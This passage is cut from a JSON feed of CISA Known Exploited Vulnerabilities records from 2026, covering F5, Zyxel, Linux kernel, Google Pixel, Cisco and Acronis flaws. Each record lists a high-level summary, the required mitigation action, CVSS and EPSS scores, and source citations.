“Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-93952","asOf":"2026-09-22T07:37:24.300Z"},"epss":{"probability":0.01384,"percentile":0.72001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-93952","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-93952 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93952&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93952, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Arista","url":"https://cveawg.mitre.org/api/cve/CVE-2026-93952","type":"primary","publishedAt":"2026-09-22T07:37:24.300Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-93952 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94127","cveId":"CVE-2026-94127","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP APM Heap-based Buffer Overflow Vulnerability","summary":"F5 BIG-IP APM contains a heap-based buffer overflow vulnerability when access policy and an OAuth profile are configured on a virtual server. This vulnerability could allow an unauthenticated attacker to perform remote code execution.","detail":"CISA added this entry on 2026-09-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-22","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP APM","stacks":["F5 BIG-IP","F5","BIG-IP APM"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-22","dueAt":"2026-09-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-94127","asOf":"2026-09-23T00:45:09.611Z"},"epss":{"probability":0.24938,"percentile":0.97899,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94127&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-94127","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-94127 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94127&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94127, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA f5","url":"https://cveawg.mitre.org/api/cve/CVE-2026-94127","type":"primary","publishedAt":"2026-09-22T14:17:42.730Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-94127 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7273","cveId":"CVE-2026-7273","aliases":[],"kind":"vulnerability","title":"Zyxel GS1900 Series Switches Stack-Based Buffer Overflow Vulnerability","summary":"Zyxel GS1900 series switches contain a stack-based buffer overflow vulnerability in the CGI program which could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.","detail":"CISA added this entry on 2026-09-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-21","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"GS1900 Series Switches","stacks":["Zyxel","GS1900 Series Switches"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-21","dueAt":"2026-09-24","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-7273","asOf":"2026-06-16T02:20:29.847Z"},"epss":{"probability":0.02778,"percentile":0.86272,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-7273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-7273","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-7273 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-7273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-7273, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Zyxel","url":"https://cveawg.mitre.org/api/cve/CVE-2026-7273","type":"primary","publishedAt":"2026-06-16T02:20:29.847Z","checkedAt":"2026-10-26T14:46:55.080Z","supports":"The published CVE-2026-7273 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:46:55.080Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-39682","cveId":"CVE-2025-39682","aliases":[],"kind":"vulnerability","title":"Linux Kernel Improper Check for Unusual or Exceptional Conditions Vulnerability","summary":"Linux Kernel contains an improper check for unusual or exceptional conditions vulnerability in the TLS receive path which allows a zero-length record retrieved from the rx_list to bypass the intended recvmsg() record-type handling, potentially causing subsequent TLS records to be processed using incorrect zero-copy and queuing assumptions. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","detail":"CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-18","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-18","dueAt":"2026-09-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-39682","asOf":"2026-08-05T12:04:31.384Z"},"epss":{"probability":0.03252,"percentile":0.8825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-39682&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-39682","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-39682 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-39682&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-39682, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Linux","url":"https://cveawg.mitre.org/api/cve/CVE-2025-39682","type":"primary","publishedAt":"2025-09-05T17:20:48.657Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2025-39682 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-39964","cveId":"CVE-2025-39964","aliases":[],"kind":"vulnerability","title":"Linux Kernel Race Condition Vulnerability","summary":"Linux Kernel contains a race condition vulnerability which allows concurrent writes to the same AF_ALG socket causing data to be unpredictably interleaved and creating inconsistencies in the socket's internal state.","detail":"CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-18","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-18","dueAt":"2026-09-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-39964","asOf":"2026-08-05T12:06:33.126Z"},"epss":{"probability":0.0157,"percentile":0.75193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-39964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-39964","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-39964 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-39964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-39964, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Linux","url":"https://cveawg.mitre.org/api/cve/CVE-2025-39964","type":"primary","publishedAt":"2025-10-13T13:48:30.334Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2025-39964 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53266","cveId":"CVE-2026-53266","aliases":[],"kind":"vulnerability","title":"Linux Kernel Out-of-Bounds Write Vulnerability","summary":"Linux Kernel contains an out-of-bounds write vulnerability in the ebtables SNAT target which allows an ARP sender hardware address rewrite to write directly into a nonlinear socket-buffer fragment backed by a splice-imported file page. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.","detail":"CISA added this entry on 2026-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-18","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-18","dueAt":"2026-09-21","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-53266","asOf":"2026-08-05T12:34:43.383Z"},"epss":{"probability":0.00934,"percentile":0.60503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-53266","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-53266 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53266, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Linux","url":"https://cveawg.mitre.org/api/cve/CVE-2026-53266","type":"primary","publishedAt":"2026-06-25T08:39:53.190Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2026-53266 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-58704","cveId":"CVE-2026-58704","aliases":[],"kind":"vulnerability","title":"Google Pixel Improper Authorization Vulnerability","summary":"Google Pixel devices contain an improper authorization vulnerability in the cellular modem. A logic error may allow an attacker to bypass permission checks and escalate privileges.","detail":"CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-16","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Pixel","stacks":["Google","Pixel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-16","dueAt":"2026-09-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-58704","asOf":"2026-10-07T18:14:21.429Z"},"epss":{"probability":0.00625,"percentile":0.49659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-58704","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-58704 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58704, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-58704","type":"primary","publishedAt":"2026-09-15T18:34:37.966Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2026-58704 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76460","cveId":"CVE-2026-76460","aliases":[],"kind":"vulnerability","title":"Cisco Identity Services Engine Incorrect Use of Privileged APIs Vulnerability","summary":"Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) contain an incorrect use of privileged APIs vulnerability that could allow an unauthenticated, remote attacker to gain unauthorized access to the affected device by bypassing the web-based management interface.","detail":"CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-16","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Identity Services Engine","stacks":["Cisco","Identity Services Engine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-16","dueAt":"2026-09-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-76460","asOf":"2026-09-16T20:12:02.131Z"},"epss":{"probability":0.75599,"percentile":0.99516,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-76460","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-76460 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76460, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-76460","type":"primary","publishedAt":"2026-09-16T20:12:02.131Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2026-76460 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87886","cveId":"CVE-2026-87886","aliases":[],"kind":"vulnerability","title":"Acronis Backup Incorrect Default Permissions Vulnerability","summary":"Acronis Backup plugin for cPanel & WHM and extension for Plesk contains an incorrect default permissions vulnerability that could allow for privilege escalation.","detail":"CISA added this entry on 2026-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-16","updatedAt":null,"regions":["Global"],"vendor":"Acronis","product":"Backup","stacks":["Acronis","Backup"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-16","dueAt":"2026-09-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.0","vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-87886","asOf":"2026-09-17T23:09:27.166Z"},"epss":{"probability":0.00233,"percentile":0.14054,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87886&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-87886","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-87886 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87886&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87886, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Acronis","url":"https://cveawg.mitre.org/api/cve/CVE-2026-87886","type":"primary","publishedAt":"2026-09-17T22:57:18.089Z","checkedAt":"2026-10-26T15:05:57.265Z","supports":"The published CVE-2026-87886 document's CNA supplies this CVSS 3.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:05:57.265Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76461","cveId":"CVE-2026-76461","aliases":[],"kind":"vulnerability","title":"Cisco Secure Email Gateway SQL Injection Vulnerability","summary":"Cisco AsyncOS software for Cisco Secure Email Gateway (SEG) contains a SQL injection vulnerability that could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on the underlying operating system.","detail":"CISA added this entry on 2026-09-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-14","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Email Gateway","stacks":["Cisco","Secure Email Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-14","dueAt":"2026-09-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with 